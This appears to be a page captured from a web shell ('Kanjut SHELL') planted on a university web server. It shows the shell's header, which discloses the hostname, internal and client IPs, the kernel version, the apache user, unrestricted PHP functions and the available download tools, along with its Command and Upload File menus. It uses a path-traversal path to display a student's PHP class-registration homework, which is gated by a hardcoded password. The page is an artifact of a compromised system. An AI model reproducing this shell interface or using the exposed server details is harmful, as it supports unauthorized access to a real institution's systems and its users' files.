Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.119.248.214
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/semmanuel/../kfmurray/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/semmanuel/../kfmurray/public_html/ClassInfo2.php
<!-- File Name: ClassInfo2.php -->

<?php session_start(); ?>

<?php
      $pass = $_SESSION['pass'];
      
      if($pass != "hw8")
         print "Go Away!!";
      else
      {
?>
<CENTER>
<style>
body {
       background-color:turquoise;
}
</style>
<H2>
Class Registration
</H2>
<FORM action=ResultsPage2.php method=post>
<?php
        $name = $_POST['name'];
       $gender = $_POST['gender'];
       $year = $_POST['year'];

       $_SESSION['n'] = $name;
       $_SESSION['g'] = $gender;
       $_SESSION['y'] = $year;

       $computerclass = array("CS 112", "CS 212", "CS 310", "CS 311", "CS 440", "CS 480");
       $mathclass = array("Math 135", "Math 136", "Math 171", "Math 172", "Math 271");
       print "Select Computer classes to register for:<BR>";
       for($k = 0; $k<count($computerclass); $k++)
          print "<INPUT type=checkbox name=CS[] value=$k> $computerclass[$k]<BR>";
      print "<P> Select Math classes to register for:<BR>";
       for($j = 0; $j<count($mathclass); $j++)
           print "<INPUT type=checkbox name=Math[] value=$j>$mathclass[$j]<BR>";
?>
<P>
<INPUT type=submit value=Submit>
<INPUT type=reset value=Reset>

</FORM>

<?php
      }
?>
</CENTER>


Stv3n404 - 2023